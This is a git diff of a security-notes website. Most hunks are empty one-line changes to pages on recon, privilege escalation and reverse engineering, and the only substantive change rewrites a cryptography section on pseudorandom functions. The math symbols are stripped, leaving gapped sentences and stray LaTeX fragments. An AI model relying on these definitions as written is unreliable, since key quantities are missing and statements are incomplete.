Exploitation/Privilege Escalation/Windows/Token Impersonation.html b/docs/Post Exploitation/Privilege Escalation/Windows/Token Impersonation.html index e6453095..ff59e8ea 100644 --- a/docs/Post Exploitation/Privilege Escalation/Windows/Token Impersonation.html +++ b/docs/Post Exploitation/Privilege Escalation/Windows/Token Impersonation.html @@ -100,7 +100,7 @@ diff --git a/docs/Post Exploitation/Privilege Escalation/Windows/index.html b/docs/Post Exploitation/Privilege Escalation/Windows/index.html index 17b7099a..53f03b56 100644 --- a/docs/Post Exploitation/Privilege Escalation/Windows/index.html +++ b/docs/Post Exploitation/Privilege Escalation/Windows/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Post Exploitation/Privilege Escalation/index.html b/docs/Post Exploitation/Privilege Escalation/index.html index 79711ed9..c09163ae 100644 --- a/docs/Post Exploitation/Privilege Escalation/index.html +++ b/docs/Post Exploitation/Privilege Escalation/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Post Exploitation/index.html b/docs/Post Exploitation/index.html index 06dd9c1c..7ae080c9 100644 --- a/docs/Post Exploitation/index.html +++ b/docs/Post Exploitation/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/DNS Server Enumeration (53).html b/docs/Reconnaissance/Enumeration/DNS Server Enumeration (53).html index 4ce6bf74..e72aa36c 100644 --- a/docs/Reconnaissance/Enumeration/DNS Server Enumeration (53).html +++ b/docs/Reconnaissance/Enumeration/DNS Server Enumeration (53).html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/FTP Enumeration (21).html b/docs/Reconnaissance/Enumeration/FTP Enumeration (21).html index fd6be00c..6d5ff0d0 100644 --- a/docs/Reconnaissance/Enumeration/FTP Enumeration (21).html +++ b/docs/Reconnaissance/Enumeration/FTP Enumeration (21).html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html b/docs/Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html index b90086c7..a38a6497 100644 --- a/docs/Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html +++ b/docs/Reconnaissance/Enumeration/LDAP Enumeration (389, 636, 3268, 3269).html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/SNMP Enumeration (161).html b/docs/Reconnaissance/Enumeration/SNMP Enumeration (161).html index e07f0a00..25bf9745 100644 --- a/docs/Reconnaissance/Enumeration/SNMP Enumeration (161).html +++ b/docs/Reconnaissance/Enumeration/SNMP Enumeration (161).html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/index.html b/docs/Reconnaissance/Enumeration/index.html index 5464dcc8..a9d46a5d 100644 --- a/docs/Reconnaissance/Enumeration/index.html +++ b/docs/Reconnaissance/Enumeration/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html b/docs/Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html index 8c94c0d4..07e7362c 100644 --- a/docs/Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html +++ b/docs/Reconnaissance/Enumeration/nmap/FIN, NULL & XMAS Scans.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/nmap/TCP SYN & TCP Connect scans.html b/docs/Reconnaissance/Enumeration/nmap/TCP SYN & TCP Connect scans.html index f6152683..c8c02e1c 100644 --- a/docs/Reconnaissance/Enumeration/nmap/TCP SYN & TCP Connect scans.html +++ b/docs/Reconnaissance/Enumeration/nmap/TCP SYN & TCP Connect scans.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/Enumeration/nmap/index.html b/docs/Reconnaissance/Enumeration/nmap/index.html index 14e2eec6..3e6caeae 100644 --- a/docs/Reconnaissance/Enumeration/nmap/index.html +++ b/docs/Reconnaissance/Enumeration/nmap/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Domain Name Enumeration.html b/docs/Reconnaissance/OSINT/Domain Name Enumeration.html index ab2bb908..92339731 100644 --- a/docs/Reconnaissance/OSINT/Domain Name Enumeration.html +++ b/docs/Reconnaissance/OSINT/Domain Name Enumeration.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Google Dorks.html b/docs/Reconnaissance/OSINT/Google Dorks.html index 25e14537..0d4f96f0 100644 --- a/docs/Reconnaissance/OSINT/Google Dorks.html +++ b/docs/Reconnaissance/OSINT/Google Dorks.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Harvesting E-Mails.html b/docs/Reconnaissance/OSINT/Harvesting E-Mails.html index 745b1f7a..bb716630 100644 --- a/docs/Reconnaissance/OSINT/Harvesting E-Mails.html +++ b/docs/Reconnaissance/OSINT/Harvesting E-Mails.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Instagram User Enumeration.html b/docs/Reconnaissance/OSINT/Instagram User Enumeration.html index 51aa14cb..4d5d452d 100644 --- a/docs/Reconnaissance/OSINT/Instagram User Enumeration.html +++ b/docs/Reconnaissance/OSINT/Instagram User Enumeration.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Tools/index.html b/docs/Reconnaissance/OSINT/Tools/index.html index 55503e0b..afa56364 100644 --- a/docs/Reconnaissance/OSINT/Tools/index.html +++ b/docs/Reconnaissance/OSINT/Tools/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Tools/recon-ng.html b/docs/Reconnaissance/OSINT/Tools/recon-ng.html index f3794d67..58d7d788 100644 --- a/docs/Reconnaissance/OSINT/Tools/recon-ng.html +++ b/docs/Reconnaissance/OSINT/Tools/recon-ng.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/Tools/theHarvester.html b/docs/Reconnaissance/OSINT/Tools/theHarvester.html index 8086efd2..8da11e6d 100644 --- a/docs/Reconnaissance/OSINT/Tools/theHarvester.html +++ b/docs/Reconnaissance/OSINT/Tools/theHarvester.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/OSINT/index.html b/docs/Reconnaissance/OSINT/index.html index 48969a44..c146fc1b 100644 --- a/docs/Reconnaissance/OSINT/index.html +++ b/docs/Reconnaissance/OSINT/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reconnaissance/index.html b/docs/Reconnaissance/index.html index 110f6f4d..725320f3 100644 --- a/docs/Reconnaissance/index.html +++ b/docs/Reconnaissance/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/index.html b/docs/Reverse Engineering/Assembly Programming/index.html index a240b88f..10d70ea1 100644 --- a/docs/Reverse Engineering/Assembly Programming/index.html +++ b/docs/Reverse Engineering/Assembly Programming/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/Addressing Modes.html b/docs/Reverse Engineering/Assembly Programming/x86-64/Addressing Modes.html index 674de68b..aac964ed 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/Addressing Modes.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/Addressing Modes.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/Data Representation.html b/docs/Reverse Engineering/Assembly Programming/x86-64/Data Representation.html index f3fd77be..35057c51 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/Data Representation.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/Data Representation.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/Instruction Set.html b/docs/Reverse Engineering/Assembly Programming/x86-64/Instruction Set.html index b7155ecb..b1c521de 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/Instruction Set.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/Instruction Set.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/Memory.html b/docs/Reverse Engineering/Assembly Programming/x86-64/Memory.html index b13c659d..7cec6fb2 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/Memory.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/Memory.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/Registers.html b/docs/Reverse Engineering/Assembly Programming/x86-64/Registers.html index 416f5cd6..a401131b 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/Registers.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/Registers.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/Variables.html b/docs/Reverse Engineering/Assembly Programming/x86-64/Variables.html index ad16391a..1425f7f7 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/Variables.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/Variables.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly Programming/x86-64/index.html b/docs/Reverse Engineering/Assembly Programming/x86-64/index.html index 23c093f3..d91716a8 100644 --- a/docs/Reverse Engineering/Assembly Programming/x86-64/index.html +++ b/docs/Reverse Engineering/Assembly Programming/x86-64/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Assembly.html b/docs/Reverse Engineering/Assembly.html index e5cf383e..05ce6763 100644 --- a/docs/Reverse Engineering/Assembly.html +++ b/docs/Reverse Engineering/Assembly.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Basic Reverse Engineering using objdump, strace, and ltrace.html b/docs/Reverse Engineering/Basic Reverse Engineering using objdump, strace, and ltrace.html index 8a45ab6d..a396ec43 100644 --- a/docs/Reverse Engineering/Basic Reverse Engineering using objdump, strace, and ltrace.html +++ b/docs/Reverse Engineering/Basic Reverse Engineering using objdump, strace, and ltrace.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/Dynamic Linking.html b/docs/Reverse Engineering/Binary Formats/ELF/Dynamic Linking.html index 49f9f41d..f694103b 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/Dynamic Linking.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/Dynamic Linking.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/Relocations.html b/docs/Reverse Engineering/Binary Formats/ELF/Relocations.html index 6d7892f0..1e66ada9 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/Relocations.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/Relocations.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/Sections.html b/docs/Reverse Engineering/Binary Formats/ELF/Sections.html index 5331d316..21d5f86d 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/Sections.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/Sections.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/Segments.html b/docs/Reverse Engineering/Binary Formats/ELF/Segments.html index 83b73d00..71a1a0a8 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/Segments.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/Segments.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/Symbols.html b/docs/Reverse Engineering/Binary Formats/ELF/Symbols.html index 75fe7aa9..0f764b5d 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/Symbols.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/Symbols.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/The ELF Header.html b/docs/Reverse Engineering/Binary Formats/ELF/The ELF Header.html index 246d66b7..10494165 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/The ELF Header.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/The ELF Header.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/ELF/index.html b/docs/Reverse Engineering/Binary Formats/ELF/index.html index acb9fd8e..488b4e44 100644 --- a/docs/Reverse Engineering/Binary Formats/ELF/index.html +++ b/docs/Reverse Engineering/Binary Formats/ELF/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/NT Headers.html b/docs/Reverse Engineering/Binary Formats/PE/NT Headers.html index 36ae7c02..0986b821 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/NT Headers.html +++ b/docs/Reverse Engineering/Binary Formats/PE/NT Headers.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/Relocations.html b/docs/Reverse Engineering/Binary Formats/PE/Relocations.html index c5f6c1ce..07f382e2 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/Relocations.html +++ b/docs/Reverse Engineering/Binary Formats/PE/Relocations.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/Sections.html b/docs/Reverse Engineering/Binary Formats/PE/Sections.html index 4d6bc8fc..1d551490 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/Sections.html +++ b/docs/Reverse Engineering/Binary Formats/PE/Sections.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/The DOS Header.html b/docs/Reverse Engineering/Binary Formats/PE/The DOS Header.html index ab6d1ef6..4007b89a 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/The DOS Header.html +++ b/docs/Reverse Engineering/Binary Formats/PE/The DOS Header.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/The DOS Stub.html b/docs/Reverse Engineering/Binary Formats/PE/The DOS Stub.html index ce6b1720..a2cebcae 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/The DOS Stub.html +++ b/docs/Reverse Engineering/Binary Formats/PE/The DOS Stub.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/The Rich Header.html b/docs/Reverse Engineering/Binary Formats/PE/The Rich Header.html index 83dcaeb0..0dffd138 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/The Rich Header.html +++ b/docs/Reverse Engineering/Binary Formats/PE/The Rich Header.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/PE/index.html b/docs/Reverse Engineering/Binary Formats/PE/index.html index f7c34b2f..ae35db1d 100644 --- a/docs/Reverse Engineering/Binary Formats/PE/index.html +++ b/docs/Reverse Engineering/Binary Formats/PE/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/Reverse Engineering Android Applications.html b/docs/Reverse Engineering/Binary Formats/Reverse Engineering Android Applications.html index f0d56529..0eb7390b 100644 --- a/docs/Reverse Engineering/Binary Formats/Reverse Engineering Android Applications.html +++ b/docs/Reverse Engineering/Binary Formats/Reverse Engineering Android Applications.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Binary Formats/index.html b/docs/Reverse Engineering/Binary Formats/index.html index 756df551..19eee94d 100644 --- a/docs/Reverse Engineering/Binary Formats/index.html +++ b/docs/Reverse Engineering/Binary Formats/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Program Anatomy/Instructions.html b/docs/Reverse Engineering/Program Anatomy/Instructions.html index 7d2b3cdf..3238b2ab 100644 --- a/docs/Reverse Engineering/Program Anatomy/Instructions.html +++ b/docs/Reverse Engineering/Program Anatomy/Instructions.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Program Anatomy/Registers.html b/docs/Reverse Engineering/Program Anatomy/Registers.html index 57a6787c..29da0cf6 100644 --- a/docs/Reverse Engineering/Program Anatomy/Registers.html +++ b/docs/Reverse Engineering/Program Anatomy/Registers.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Program Anatomy/The Heap.html b/docs/Reverse Engineering/Program Anatomy/The Heap.html index 6dafcb3c..8e3052b4 100644 --- a/docs/Reverse Engineering/Program Anatomy/The Heap.html +++ b/docs/Reverse Engineering/Program Anatomy/The Heap.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Program Anatomy/The Stack.html b/docs/Reverse Engineering/Program Anatomy/The Stack.html index 148856b8..bf6f27c6 100644 --- a/docs/Reverse Engineering/Program Anatomy/The Stack.html +++ b/docs/Reverse Engineering/Program Anatomy/The Stack.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Program Anatomy/index.html b/docs/Reverse Engineering/Program Anatomy/index.html index bd953988..7687e0bb 100644 --- a/docs/Reverse Engineering/Program Anatomy/index.html +++ b/docs/Reverse Engineering/Program Anatomy/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with Ghidra/Creating a Project and Loading a Binary.html b/docs/Reverse Engineering/Reverse Engineering with Ghidra/Creating a Project and Loading a Binary.html index bcf8f430..8d6bf7cd 100644 --- a/docs/Reverse Engineering/Reverse Engineering with Ghidra/Creating a Project and Loading a Binary.html +++ b/docs/Reverse Engineering/Reverse Engineering with Ghidra/Creating a Project and Loading a Binary.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with Ghidra/Initial Analysis.html b/docs/Reverse Engineering/Reverse Engineering with Ghidra/Initial Analysis.html index 5c8fcfcc..a1dd88f1 100644 --- a/docs/Reverse Engineering/Reverse Engineering with Ghidra/Initial Analysis.html +++ b/docs/Reverse Engineering/Reverse Engineering with Ghidra/Initial Analysis.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with Ghidra/index.html b/docs/Reverse Engineering/Reverse Engineering with Ghidra/index.html index 6791b8d9..a1921501 100644 --- a/docs/Reverse Engineering/Reverse Engineering with Ghidra/index.html +++ b/docs/Reverse Engineering/Reverse Engineering with Ghidra/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with radare2/Analysis.html b/docs/Reverse Engineering/Reverse Engineering with radare2/Analysis.html index a67b20d7..210fe1ae 100644 --- a/docs/Reverse Engineering/Reverse Engineering with radare2/Analysis.html +++ b/docs/Reverse Engineering/Reverse Engineering with radare2/Analysis.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with radare2/Binary Info.html b/docs/Reverse Engineering/Reverse Engineering with radare2/Binary Info.html index 134070e2..3a789e5c 100644 --- a/docs/Reverse Engineering/Reverse Engineering with radare2/Binary Info.html +++ b/docs/Reverse Engineering/Reverse Engineering with radare2/Binary Info.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with radare2/Flags.html b/docs/Reverse Engineering/Reverse Engineering with radare2/Flags.html index 27b619ec..a262bd05 100644 --- a/docs/Reverse Engineering/Reverse Engineering with radare2/Flags.html +++ b/docs/Reverse Engineering/Reverse Engineering with radare2/Flags.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with radare2/Seeking.html b/docs/Reverse Engineering/Reverse Engineering with radare2/Seeking.html index 46259215..a56b22f4 100644 --- a/docs/Reverse Engineering/Reverse Engineering with radare2/Seeking.html +++ b/docs/Reverse Engineering/Reverse Engineering with radare2/Seeking.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with radare2/Strings.html b/docs/Reverse Engineering/Reverse Engineering with radare2/Strings.html index 197644cf..2c6086bc 100644 --- a/docs/Reverse Engineering/Reverse Engineering with radare2/Strings.html +++ b/docs/Reverse Engineering/Reverse Engineering with radare2/Strings.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/Reverse Engineering with radare2/index.html b/docs/Reverse Engineering/Reverse Engineering with radare2/index.html index 06e9e277..9a8955bb 100644 --- a/docs/Reverse Engineering/Reverse Engineering with radare2/index.html +++ b/docs/Reverse Engineering/Reverse Engineering with radare2/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Reverse Engineering/index.html b/docs/Reverse Engineering/index.html index 385a86be..bf1d61ec 100644 --- a/docs/Reverse Engineering/index.html +++ b/docs/Reverse Engineering/index.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Linux/Command Line.html b/docs/System Internals/Linux/Command Line.html index edfbb6cc..fb409390 100644 --- a/docs/System Internals/Linux/Command Line.html +++ b/docs/System Internals/Linux/Command Line.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Linux/File System.html b/docs/System Internals/Linux/File System.html index b0d59373..b74719bf 100644 --- a/docs/System Internals/Linux/File System.html +++ b/docs/System Internals/Linux/File System.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Linux/Processes.html b/docs/System Internals/Linux/Processes.html index 9f8ccd0b..cf5f37b9 100644 --- a/docs/System Internals/Linux/Processes.html +++ b/docs/System Internals/Linux/Processes.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Linux/index.html b/docs/System Internals/Linux/index.html index 57c69ca3..bf58a744 100644 --- a/docs/System Internals/Linux/index.html +++ b/docs/System Internals/Linux/index.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/Computers.html b/docs/System Internals/Windows/Active Directory (AD)/Computers.html index 385c69ff..6e0f5351 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/Computers.html +++ b/docs/System Internals/Windows/Active Directory (AD)/Computers.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/Contacts.html b/docs/System Internals/Windows/Active Directory (AD)/Contacts.html index 0dc12d41..ac8b52b7 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/Contacts.html +++ b/docs/System Internals/Windows/Active Directory (AD)/Contacts.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/Domain Controllers.html b/docs/System Internals/Windows/Active Directory (AD)/Domain Controllers.html index 854b9d09..add30d8b 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/Domain Controllers.html +++ b/docs/System Internals/Windows/Active Directory (AD)/Domain Controllers.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/Groups.html b/docs/System Internals/Windows/Active Directory (AD)/Groups.html index dc91ebbb..6e3e412d 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/Groups.html +++ b/docs/System Internals/Windows/Active Directory (AD)/Groups.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/Terminology.html b/docs/System Internals/Windows/Active Directory (AD)/Terminology.html index fee6172c..d4c2aeae 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/Terminology.html +++ b/docs/System Internals/Windows/Active Directory (AD)/Terminology.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/Users.html b/docs/System Internals/Windows/Active Directory (AD)/Users.html index 434b5ff7..2fc5298d 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/Users.html +++ b/docs/System Internals/Windows/Active Directory (AD)/Users.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/Active Directory (AD)/index.html b/docs/System Internals/Windows/Active Directory (AD)/index.html index a661a06c..09416513 100644 --- a/docs/System Internals/Windows/Active Directory (AD)/index.html +++ b/docs/System Internals/Windows/Active Directory (AD)/index.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/File System.html b/docs/System Internals/Windows/File System.html index 54785228..6424a3e6 100644 --- a/docs/System Internals/Windows/File System.html +++ b/docs/System Internals/Windows/File System.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/Windows/index.html b/docs/System Internals/Windows/index.html index 2bddcc64..b9617539 100644 --- a/docs/System Internals/Windows/index.html +++ b/docs/System Internals/Windows/index.html @@ -100,7 +100,7 @@ diff --git a/docs/System Internals/index.html b/docs/System Internals/index.html index d57fb340..bd465f3d 100644 --- a/docs/System Internals/index.html +++ b/docs/System Internals/index.html @@ -100,7 +100,7 @@ diff --git a/docs/index.html b/docs/index.html index 5d736588..4959a724 100644 --- a/docs/index.html +++ b/docs/index.html @@ -100,7 +100,7 @@ diff --git a/docs/print.html b/docs/print.html index 739f4b53..c0c8bd5e 100644 --- a/docs/print.html +++ b/docs/print.html @@ -101,7 +101,7 @@ @@ -5196,62 +5196,94 @@

Leap of Faith

One might think that is also a requirement, because otherwise the algorithm will execute more than steps and would thus require more than seeds for all these steps which means that it will start repeating seeds, thus making it predictable. However, the requirement that is polynomial takes care of that - for a given , the constants required to make the polynomial greater than are so ridiculously huge and grow so mind-bogglingly fast that they can be considered infinite. Besides, it is unlikely that you want to produce a googol bits from a 128-bit seed.

-

Introduction

-

Pseudorandom functions (PRFs) are a generalisation of pseudorandom generators. They take a seed and an integer and produce a single bit.

-
+

Pseudorandom Functions

+

In order to understand what a pseudorandom function generator (PRFG) is, one needs to understand what it means for a function to be random or pseudorandom.

+

A truly random function is a function chosen according to the uniform distribution of all functions that take a string of length and output a string of length . Alternatively, a random function can be thought of as a function which outputs a random string of length for every input , called an input data block (IDB). This can be pictured as a table of all possible IDBs and their corresponding, at the beginning undetermined, outputs. Whenever is invoked with an IDB , that IDB is looked up in the table. If its entry already has an output, then this value is directly returned. Otherwise, the function "flips a coin" times to determine each bit of the output, fills the generated output in the table and finally returns it. Subsequent queries for the same input data block will provide the already generated output.

+

+
-

Definition: Pseudorandom Function (PRF)

-

+

Note

+

-

A pseudorandom function (PRF) is an efficient algorithm which takes a seed of length and an integer , called an index, and outputs a single bit.

-

The seed may also be denoted as a subscript - .

+

The input to a PRF may sometimes be treated as an integer between and , which can be represented as a binary string of length . In these cases, it is called an index instead of an input data block.

-

In its core, a PRF is just a function which produces a single bit at a time. However, what does the "pseudorandom" stand for in this case? The answer is that it is related to the security of the PRF.

-
+

The reason that these two notions of a random function are equivalent is that each "coin toss" can be thought of as making a step forward in search for the function which on input a specific outputs a specific output . Before the first coin flip, there are possible outputs. After the first coin flip, there are possible outputs - the first bit has been generated and the output has the form where the dots represent the remaining bits, which are unknown. After the second flip, the output has two bits generated and unknown bits - there are remaining possibilities for the final output string. Each coin flip halves the number of possibilities for the output until the final flip settles on a single output. Since a function can only have a single output for a given input, deciding this output is like picking a function from all possible functions. The probability that we get a specific function is - the same as if simply choosing a function from a uniform distribution.

+
-

Definition: Security of a PRF

-

+

Note

+

-

A pseudorandom function is secure if for every seed and efficient distinguisher that has oracle access to ,

-

+

A random function is still deterministic in the sense that when input the same data block it will always give the same output.

+
+
+

Unfortunately, truly random functions present a great implementational challenge for classical computers due to their difficulty in obtaining true randomness. A computer cannot really "flip a coin times" and is limited by its external randomness sources.

+

This is why we have to settle for pseudorandom functions.

+
+
+

Definition: Pseudorandom Function (PRF)

+

+
+
+

A pseudorandom function is an efficient algorithm such that for every efficient distinguisher it holds that

+

for some negligible .

Definition Breakdown

-

+

-

Oracle / Black-box access means that the distinguisher can query with any index and do any number of times, so long as it is polynomial in (otherwise the distinguisher itself won't be efficient). Whilst the distinguish eris free to choose the indices it queries, it neither knows nor is allowed to change the seed. A PRF is then secure if no distinguisher can tell with non-negligible probability the difference between a string that was obtain from using some indices and a string that was produced by concatenating sequential bits obtained from a truly random function .

+

The distinguisher takes a function whose inputs are strings of length and which outputs a string of length and tries to determine if the function is a truly random function. This notation means that the distinguisher has oracle access to the function - it can freely query the function with any inputs and can inspect the resulting outputs. Sometimes, the objectively worse notation is also used to denote that the distinguisher has oracle access to the function .

+

A function is pseudorandom if there is no efficient distinguisher which can tell the difference between it and a truly random function which was chosen from the uniform distribution of all functions with non-negligible probability.

-

A truly random function is a function which outputs a random bit for every index. Note, however, that is still deterministic - it always outputs the same bit if the same index is used. One can picture such a function as a table of all possible indices and their corresponding, at the beginning undetermined outputs. Whenever is invoked with an index , that index is looked up in the table. If its entry already has an output associated, then this value is directly returned. Otherwise, the function "flips a coin" to determine if the output for this index should be 1 or 0, fills it in the table and then returns it.

-

PRGs from PRFs

-

It is obvious that we can build a pseudorandom generator from a pseudorandom function by simply running the PRF for each index between and . In order for the constructed PRG to be secure, it is necessary that the PRF used must be, too. Recall that a secure PRG is unpredictable. Since the PRF is used to generate the output of the PRG one bit at a time, then the only way for the PRG to be unpredictable is if the PRF is also unpredictable.

-
+

Pseudorandom functions are useful because they are a generalisation of pseudorandom generators. The length of the output of a PRG must always be greater than the length of its seed, but PRFs allow for an output whose length is independent of the input data block. Mostly, however, they are useful because they produce pseudorandom strings, just like PRGs.

+

But as with most things in cryptography, it is unknown if pseudorandom functions actually exist. The definition is quite broad in the sense that there should be absolutely no distinguisher which can tell that the function is actually not truly random - a pretty difficult thing to do. So, once again, we are forced to hope that they do exist because otherwise cryptography falls apart - we consider a given algorithm to be a pseudorandom function until someone strings along and proves us wrong. Nevertheless, we still want to make as few assumptions as possible and build the rest on top of it.

+
-

PRF Unpredictability

-

+

Assumption: Existence of a One-Bit Pseudorandom Function

+

-

A secure is unpredictable in the sense that there is no efficient predictor algorithm which takes the bits output by the PRF for the indices \textit{PRG}_s(i+1)\frac{1}{2} + \epsilon\epsilon.

+

There exists a pseudorandom function which outputs a single bit, i.e. .

-

Essentially, the unpredictability of a PRF translates directly into the unpredictability of any PRG that is built from it.

-

PRFs from PRGs

-

Interestingly enough, the converse direction is also true - a secure PRG can be used to construct a secure PRF. To illustrate this, we are going to show that we can use a secure pseudorandom generator G(seed: \textbf{str}[S]) \to \textbf{str}[2S]SF.

-
-

Further Reading

-
    -
  • Alternative Definition of security -A pseudorandom function \textit{PRF}\mathcal{A}\textit{PRF}_s(0), \textit{PRF}_s(1), ..., \textit{PRF}_s(i)\mathcal{A}\textit{PRF}_s(i+1)\frac{1}{2}\epsilon$.
  • -
+

As it turns out, such a pseudorandom function can be used to construct PRFs with any output length.

+

